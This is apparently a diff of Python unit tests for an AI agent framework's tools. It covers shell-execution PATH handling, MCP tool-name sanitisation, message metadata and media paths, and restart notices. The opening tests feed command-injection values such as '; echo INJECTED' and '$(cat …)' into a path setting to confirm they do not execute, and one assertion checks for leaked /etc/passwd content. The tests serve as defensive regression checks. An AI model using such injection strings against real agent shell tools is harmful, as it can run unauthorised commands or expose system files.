# None of the injected payloads should have produced side-effects
assert "INJECTED" not in result
assert "root:" not in result # /etc/passwd content
@_UNIX_ONLY
@pytest.mark.asyncio
async def test_exec_path_append_command_substitution_does_not_execute(tmp_path):
"""$() in path_append must not trigger command substitution.
We create a marker file and try to read it via $(cat ...). If command
substitution works, the marker content appears in output.
"""
marker = tmp_path / "secret_marker.txt"
marker.write_text("SHOULD_NOT_APPEAR")
tool = ExecTool(
path_append=f'/tmp/bin; echo $(cat {marker})',
)
result = await tool.execute(command="echo OK")
assert "OK" in result
assert "SHOULD_NOT_APPEAR" not in result
@_UNIX_ONLY
@pytest.mark.asyncio
async def test_exec_path_append_legitimate_path_still_works():
"""A normal, safe path_append value must still be appended to PATH."""
tool = ExecTool(path_append="/opt/custom/bin")
result = await tool.execute(command="echo $PATH")
assert "/opt/custom/bin" in result
+18 -7
View File
@@ -148,23 +148,33 @@ class TestSpawnWindows:
class TestPathAppendPlatform:
@pytest.mark.asyncio
async def test_unix_injects_export(self):
"""On Unix, path_append is an export statement prepended to command."""
async def test_unix_uses_env_var_in_fixed_export(self):
"""On Unix, path_append must not be interpolated into shell source."""
mock_proc = AsyncMock()
mock_proc.communicate.return_value = (b"ok", b"")
mock_proc.returncode = 0
captured_cmd = None
captured_env = {}
async def capture_spawn(cmd, cwd, env):
nonlocal captured_cmd
captured_cmd = cmd
captured_env.update(env)
return mock_proc
with (
patch("nanobot.agent.tools.shell._IS_WINDOWS", False),
patch.object(ExecTool, "_spawn", return_value=mock_proc) as mock_spawn,
patch("nanobot.agent.tools.shell.os.pathsep", ":"),
patch.object(ExecTool, "_spawn", side_effect=capture_spawn),
patch.object(ExecTool, "_guard_command", return_value=None),
):
tool = ExecTool(path_append="/opt/bin")
tool = ExecTool(path_append="/opt/bin; echo INJECTED")
await tool.execute(command="ls")
spawned_cmd = mock_spawn.call_args[0][0]
assert 'export PATH="$PATH:/opt/bin"' in spawned_cmd
assert spawned_cmd.endswith("ls")
assert captured_cmd == 'export PATH="$PATH:$NANOBOT_PATH_APPEND"; ls'
assert captured_env["NANOBOT_PATH_APPEND"] == "/opt/bin; echo INJECTED"
assert "INJECTED" not in captured_cmd
@pytest.mark.asyncio
async def test_windows_modifies_env(self):
@@ -181,6 +191,7 @@ class TestPathAppendPlatform:
with (
patch("nanobot.agent.tools.shell._IS_WINDOWS", True),
patch("nanobot.agent.tools.shell.os.pathsep", ";"),
patch.object(ExecTool, "_spawn", side_effect=capture_spawn),
patch.object(ExecTool, "_guard_command", return_value=None),
):
+112
View File
@@ -13,6 +13,7 @@ from nanobot.agent.tools.mcp import (
MCPResourceWrapper,
MCPToolWrapper,
_normalize_windows_stdio_command,
_sanitize_name,
connect_mcp_servers,
)
from nanobot.agent.tools.registry import ToolRegistry
@@ -798,3 +799,114 @@ async def test_connect_registers_resources_and_prompts(
assert "mcp_test_tool_a" in registry.tool_names
assert "mcp_test_resource_res_b" in registry.tool_names
assert "mcp_test_prompt_prompt_c" in registry.tool_names
# ---------------------------------------------------------------------------
# _sanitize_name tests
# ---------------------------------------------------------------------------
def test_sanitize_name_replaces_spaces() -> None:
assert _sanitize_name("PostgreSQL System Information") == "PostgreSQL_System_Information"
def test_sanitize_name_replaces_special_characters() -> None:
assert _sanitize_name("foo.bar@baz!") == "foo_bar_baz_"
def test_sanitize_name_collapses_consecutive_underscores() -> None:
assert _sanitize_name("a b") == "a_b"
def test_sanitize_name_preserves_valid_characters() -> None:
assert _sanitize_name("my-tool_v2") == "my-tool_v2"
def test_sanitize_name_noop_for_already_clean_names() -> None:
assert _sanitize_name("mcp_server_tool") == "mcp_server_tool"
# ---------------------------------------------------------------------------
# Wrapper sanitization tests
# ---------------------------------------------------------------------------
def test_tool_wrapper_sanitizes_name() -> None:
tool_def = SimpleNamespace(
name="My Tool",
description="tool with spaces",
inputSchema={"type": "object", "properties": {}},
)
wrapper = MCPToolWrapper(SimpleNamespace(call_tool=None), "srv", tool_def)
assert wrapper.name == "mcp_srv_My_Tool"
def test_resource_wrapper_sanitizes_name() -> None:
resource_def = SimpleNamespace(
name="PostgreSQL System Information",
uri="file:///pg/info",
description="PG info",
)
wrapper = MCPResourceWrapper(None, "srv", resource_def)
assert wrapper.name == "mcp_srv_resource_PostgreSQL_System_Information"
def test_prompt_wrapper_sanitizes_name() -> None:
prompt_def = SimpleNamespace(
name="design-schema",
description="Design schema",
arguments=None,
)
# Hyphens are allowed, so this should pass through unchanged
wrapper = MCPPromptWrapper(None, "my server", prompt_def)
assert wrapper.name == "mcp_my_server_prompt_design-schema"
def test_tool_wrapper_preserves_original_name_for_mcp_call() -> None:
tool_def = SimpleNamespace(
name="My Tool",
description="tool with spaces",
inputSchema={"type": "object", "properties": {}},
)
wrapper = MCPToolWrapper(SimpleNamespace(call_tool=None), "srv", tool_def)
# The sanitized API-facing name differs from the original MCP name
assert wrapper.name == "mcp_srv_My_Tool"
assert wrapper._original_name == "My Tool"
@pytest.mark.asyncio
async def test_connect_mcp_servers_sanitizes_resource_names(
fake_mcp_runtime: dict[str, object | None],
) -> None:
fake_mcp_runtime["session"] = _make_fake_session_with_capabilities(
tool_names=[],
resource_names=["PostgreSQL System Information"],
prompt_names=[],
)
registry = ToolRegistry()
stacks = await connect_mcp_servers(
{"test": MCPServerConfig(command="fake")},
registry,
)
for stack in stacks.values():
await stack.aclose()
assert "mcp_test_resource_PostgreSQL_System_Information" in registry.tool_names
@pytest.mark.asyncio
async def test_connect_mcp_servers_enabled_tools_matches_sanitized_name(
fake_mcp_runtime: dict[str, object | None],
) -> None:
fake_mcp_runtime["session"] = _make_fake_session_with_capabilities(
tool_names=["My Tool", "other"],
)
registry = ToolRegistry()
stacks = await connect_mcp_servers(
{"test": MCPServerConfig(command="fake", enabled_tools=["mcp_test_My_Tool"])},
registry,
)
for stack in stacks.values():
await stack.aclose()
assert registry.tool_names == ["mcp_test_My_Tool"]
+173
View File
@@ -1,6 +1,10 @@
import os
import pytest
from nanobot.agent.tools.message import MessageTool
from nanobot.bus.events import OutboundMessage
from nanobot.config.paths import get_workspace_path
@pytest.mark.asyncio
@@ -29,3 +33,172 @@ async def test_message_tool_rejects_malformed_buttons(bad) -> None:
content="hi", channel="telegram", chat_id="1", buttons=bad,
)
assert result == "Error: buttons must be a list of list of strings"
@pytest.mark.asyncio
async def test_message_tool_marks_channel_delivery_only_when_enabled() -> None:
sent: list[OutboundMessage] = []
async def _send(msg: OutboundMessage) -> None:
sent.append(msg)
tool = MessageTool(send_callback=_send)
await tool.execute(content="normal", channel="telegram", chat_id="1")
token = tool.set_record_channel_delivery(True)
try:
await tool.execute(content="cron", channel="telegram", chat_id="1")
finally:
tool.reset_record_channel_delivery(token)
assert sent[0].metadata == {}
assert sent[1].metadata == {"_record_channel_delivery": True}
@pytest.mark.asyncio
async def test_message_tool_inherits_metadata_for_same_target() -> None:
sent: list[OutboundMessage] = []
async def _send(msg: OutboundMessage) -> None:
sent.append(msg)
tool = MessageTool(send_callback=_send)
slack_meta = {"slack": {"thread_ts": "111.222", "channel_type": "channel"}}
tool.set_context("slack", "C123", metadata=slack_meta)
await tool.execute(content="thread reply")
assert sent[0].metadata == slack_meta
@pytest.mark.asyncio
async def test_message_tool_does_not_inherit_metadata_for_cross_target() -> None:
sent: list[OutboundMessage] = []
async def _send(msg: OutboundMessage) -> None:
sent.append(msg)
tool = MessageTool(send_callback=_send)
tool.set_context(
"slack",
"C123",
metadata={"slack": {"thread_ts": "111.222", "channel_type": "channel"}},
)
await tool.execute(content="channel reply", channel="slack", chat_id="C999")
assert sent[0].metadata == {}
@pytest.mark.asyncio
async def test_message_tool_resolves_relative_media_paths() -> None:
sent: list[OutboundMessage] = []
async def _send(msg: OutboundMessage) -> None:
sent.append(msg)
tool = MessageTool(send_callback=_send)
await tool.execute(
content="see attached",
channel="telegram",
chat_id="1",
media=["output/image.png"],
)
expected = str(get_workspace_path() / "output/image.png")
assert sent[0].media == [expected]
@pytest.mark.asyncio
async def test_message_tool_resolves_relative_media_paths_from_active_workspace(tmp_path) -> None:
sent: list[OutboundMessage] = []
async def _send(msg: OutboundMessage) -> None:
sent.append(msg)
workspace = tmp_path / "workspace"
tool = MessageTool(send_callback=_send, workspace=workspace)
await tool.execute(
content="see attached",
channel="telegram",
chat_id="1",
media=["output/image.png"],
)
assert sent[0].media == [str(workspace / "output/image.png")]
@pytest.mark.asyncio
async def test_message_tool_passes_through_absolute_media_paths() -> None:
sent: list[OutboundMessage] = []
async def _send(msg: OutboundMessage) -> None:
sent.append(msg)
tool = MessageTool(send_callback=_send)
abs_path = os.path.abspath(os.path.join(os.sep, "tmp", "abs_image.png"))
await tool.execute(
content="see attached",
channel="telegram",
chat_id="1",
media=[abs_path],
)
assert sent[0].media == [abs_path]
@pytest.mark.asyncio
async def test_message_tool_passes_through_url_media_paths() -> None:
sent: list[OutboundMessage] = []
async def _send(msg: OutboundMessage) -> None:
sent.append(msg)
tool = MessageTool(send_callback=_send)
url = "https://example.com/image.png"
await tool.execute(
content="see attached",
channel="telegram",
chat_id="1",
media=[url],
)
assert sent[0].media == [url]
@pytest.mark.asyncio
async def test_message_tool_resolves_mixed_media_paths() -> None:
sent: list[OutboundMessage] = []
async def _send(msg: OutboundMessage) -> None:
sent.append(msg)
tool = MessageTool(send_callback=_send)
abs_path = os.path.abspath(os.path.join(os.sep, "tmp", "absolute.png"))
await tool.execute(
content="see attached",
channel="telegram",
chat_id="1",
media=[
"output/relative.png",
abs_path,
"https://example.com/url.png",
"http://example.com/http.png",
],
)
expected_relative = str(get_workspace_path() / "output/relative.png")
assert sent[0].media == [
expected_relative,
abs_path,
"https://example.com/url.png",
"http://example.com/http.png",
]
+29
View File
@@ -16,6 +16,7 @@ from nanobot.utils.restart import (
def test_set_and_consume_restart_notice_env_roundtrip(monkeypatch):
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHANNEL", raising=False)
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHAT_ID", raising=False)
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_METADATA", raising=False)
monkeypatch.delenv("NANOBOT_RESTART_STARTED_AT", raising=False)
set_restart_notice_to_env(channel="feishu", chat_id="oc_123")
@@ -25,14 +26,42 @@ def test_set_and_consume_restart_notice_env_roundtrip(monkeypatch):
assert notice.channel == "feishu"
assert notice.chat_id == "oc_123"
assert notice.started_at_raw
assert notice.metadata == {}
# Consumed values should be cleared from env.
assert consume_restart_notice_from_env() is None
assert "NANOBOT_RESTART_NOTIFY_CHANNEL" not in os.environ
assert "NANOBOT_RESTART_NOTIFY_CHAT_ID" not in os.environ
assert "NANOBOT_RESTART_NOTIFY_METADATA" not in os.environ
assert "NANOBOT_RESTART_STARTED_AT" not in os.environ
def test_restart_notice_preserves_metadata_across_env(monkeypatch):
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHANNEL", raising=False)
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHAT_ID", raising=False)
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_METADATA", raising=False)
monkeypatch.delenv("NANOBOT_RESTART_STARTED_AT", raising=False)
set_restart_notice_to_env(
channel="slack",
chat_id="C123",
metadata={"slack": {"thread_ts": "1700.42", "channel_type": "channel"}},
)
notice = consume_restart_notice_from_env()
assert notice is not None
assert notice.metadata == {
"slack": {"thread_ts": "1700.42", "channel_type": "channel"}
}
assert "NANOBOT_RESTART_NOTIFY_METADATA" not in os.environ
def test_restart_notice_clears_stale_metadata(monkeypatch):
monkeypatch.setenv("NANOBOT_RESTART_NOTIFY_METADATA", '{"stale": true}')
set_restart_notice_to_env(channel="cli", chat_id="direct")
assert "NANOBOT_RESTART_NOTIFY_METADATA" not in os.environ
def test_format_restart_completed_message_with_elapsed(monkeypatch):
monkeypatch.setattr("nanobot.utils.restart.time.time", lambda: 102.0)
assert format_restart_completed_message("100.0") == "Restart completed in 2.0s."